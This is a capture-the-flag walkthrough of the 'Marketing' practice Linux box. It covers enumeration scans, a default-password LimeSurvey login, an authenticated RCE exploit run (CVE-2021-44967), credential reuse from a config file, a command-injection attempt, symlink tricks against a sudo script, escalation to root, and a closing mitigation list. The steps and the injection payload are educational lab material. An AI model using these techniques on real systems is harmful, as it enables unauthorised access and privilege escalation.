Marketing
Introduction
On this intermediate PG Practice Linux box, I discovered a vulnerable LimeSurvey instance, which I exploited to gain initial access. During enumeration, I found plaintext credentials in configuration files, allowing me to log in as a local user. I discovered a binary executable as another user, which I used to read a sensitive file, the path to which I retrieved using mlocate.db. The file contained a password for a second user, who had unrestricted sudo access, enabling me to escalate to root.
Nmap
TCP
Run a quick Nmap TCP scan:
1
sudo nmap -sV $IP --open
UDP
Check top 100 UDP ports:
1
sudo nmap -sU -F $IP
Full Port Scan
1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open
Services
Port 22
Version - OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
We usually skip SSH.
Web
Port 80
Version - Apache httpd 2.4.41 ((Ubuntu))
Gobuster Scan
1
gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x .html,.php -b 404,403
Visiting /old directory I don’t see anything much interesting, but inspecting the source code I can find subdomain:
Add the subdomain to /etc/hosts file.
Gobuster Scan
Navigating to admin directory we are greeted with login panel, access to any other directory is forbidden. I am gonna search for default credentials for limesurvey, I found admin:kamote1234, it didn’t work then I tried admin:password and it worked.
Exploitation
I see the version of the application displayed on the bottom right:
Found this vulnerability:
LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)
1
python3 exploit.py http://customers-survey.marketing.pg/ admin password 80
Here you can read about exploitation technique in more detailed way:
[CVE-2021-44967] LimeSurvey RCE
I have a shell now.
Shell as www-data
Let’s make a shell more interactive using python:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Reading /var/www/LimeSurvey/application/config/config.php I discovered:
Which turns out password for t.milleruser.
Shell as t.miller
Checking sudo privileges of t.miller I discovered:
I am gonna create just a txt file with content just some single character and then run commad so m.sander:
Command Injection
I see here that bash variable is not enclosed into quotes we can leverage it for command injection:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
#! /bin/bash if [ -z $1 ]; then echo "error: note missing" exit fi note=$1 if [[ "$note" =~ .*m.sander.* ]]; then echo "error: forbidden" exit fi difference=$(diff /home/m.sander/personal/notes.txt $note) if [[ -z $difference ]]; then echo "no update" exit fi echo "Difference: $difference" cp $note /home/m.sander/personal/notes.txt echo "[+] Updated."
I tried this but it seems it is always gonna return an error as filename is parsed as an argument to
diff:1
sudo -u m.sander /usr/bin/sync.sh 'local.txt; id'
Sensitive file copy
I suppose we should find a sensitive file readable by
m.sander;Listing db files I see and interesting one:
1
find / -name "*.db" -exec ls -l {} + 2>/dev/null
mlocate.db- It’s a custom binary index format specifically designed for fast filename lookups.
- It uses compression and a special structure optimized for quick searching, not an SQL-based format.
- The file is usually located at
/var/lib/mlocate/mlocate.db. - You should always use the
locatecommand, which knows how to read and query that database. If you want to peek inside, you can try:
1
strings /var/lib/mlocate/mlocate.db | less
but this just dumps all readable strings, not a structured view.
Searching for
personalinside I found the following:Let’s check personal.txt as I should include
/home/m.sanderpart and it won’t allow me this way I am gonna use symlink to read the file.1
ln --symbolic /path/to/file_or_directory path/to/symlink
1
ln -s /home/m.sander/personal/personal.txt link
It returned:
Let’s now check for file
/home/m.sander/personal/creds-for-2022.txt:1
ln -s /home/m.sander/personal/creds-for-2022.txt link1
Now it returned this:
Checking all I found password for shell is:
EzPwz2022_12345678#!.
Shell as m.sander
We are inside of sudo group that means we can run anything as root, so let’s just change the user:
1
sudo su
Now we are root!
Credentials
1
2
3
t.miller : EzPwz2022_dev1$$23!!
m.sander : EzPwz2022_12345678#!
Beyond Root
PATH Hijacking
cpcommand is used without its absolute path inside/usr/bin/sync.sh:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
#! /bin/bash if [ -z $1 ]; then echo "error: note missing" exit fi note=$1 if [[ "$note" =~ .*m.sander.* ]]; then echo "error: forbidden" exit fi difference=$(diff /home/m.sander/personal/notes.txt $note) if [[ -z $difference ]]; then echo "no update" exit fi echo "Difference: $difference" cp $note /home/m.sander/personal/notes.txt echo "[+] Updated."
That means we can potentially change
PATHand make the script use our malicious binary, BUT here we are running the command withsudothat means this attack will only work ifsecure_pathis not enfored by/etc/sudoersfile. When you usesudo, the system can override your PATH and force a safer, fixed PATH defined bysecure_path. Checking/etc/sudoersfile we can see that secure path is enforced:
Mitigation
- Keep LimeSurvey updated and avoid exposing outdated versions.
- Never store plaintext credentials in config files.
- Apply strict file permissions to limit cross-user access.
- Avoid using
mlocateor ensure its database is permission-restricted. - Enforce least-privilege principle for
sudoaccess.



















